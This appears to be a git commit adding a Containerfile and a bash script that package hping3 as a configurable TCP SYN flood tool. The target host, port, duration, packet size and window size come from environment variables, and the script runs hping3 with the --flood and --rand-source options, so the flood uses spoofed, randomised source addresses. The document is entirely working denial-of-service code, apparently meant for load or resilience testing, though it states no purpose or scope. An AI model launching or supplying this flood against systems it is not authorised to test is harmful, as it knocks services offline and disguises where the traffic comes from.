script + containerfile

Signed-off-by: Tullio Sebastiani <[email protected]>

Containerfile

@@ -0,0 +1,14 @@
+FROM fedora:40
+
+env TARGET $TARGET
+env DURATION $DURATION
+env TARGET_PORT $TARGET_PORT
+env PACKET_SIZE $PACKET_SIZE
+env WINDOW_SIZE $WINDOW_SIZE
+USER root
+RUN dnf update -y && dnf install --setopt=install_weak_deps=False -y hping3 && dnf clean all
+WORKDIR /syn-flood
+COPY run.sh run.sh
+RUN chmod +x ./run.sh
+#ENTRYPOINT ["/bin/bash", "run.sh", $TARGET, $DURATION, $TARGET_PORT, $PACKET_SIZE, $WINDOW_SIZE]
+ENTRYPOINT ["/bin/bash", "run.sh"]

run.sh

@@ -0,0 +1,25 @@
+#!/bin/bash
+
+_TARGET=$TARGET
+_DURATION=$DURATION
+_TARGET_PORT=$TARGET_PORT
+_PACKET_SIZE=${PACKET_SIZE:-120}
+_WINDOW_SIZE=${WINDOW_SIZE:-64}
+
+
+[ -z $_TARGET ] && echo "\$TARGET env var missing: Target host must be set" && exit 1
+[ -z $_DURATION ] && echo "\$DURATION env var missing: Flood duration must be set" && exit 1
+[ -z $_TARGET_PORT ] && echo "\$TARGET_PORT env var missing: Target port must be set" && exit 1
+
+echo "TARGET: $_TARGET"
+echo "FLOOD DURATION: $_DURATION"
+echo "PACKET SIZE: $_PACKET_SIZE"
+echo "TCP WINDOW SIZE: $_WINDOW_SIZE"
+echo "FLOOD TARGET PORT: $_TARGET_PORT"
+
+hping3 -d $_PACKET_SIZE -S -w $_WINDOW_SIZE -p $_TARGET_PORT --flood --rand-source $_TARGET&
+
+HPING_PID=$! 
+sleep $_DURATION
+kill -9 $HPING_PID
+exit 0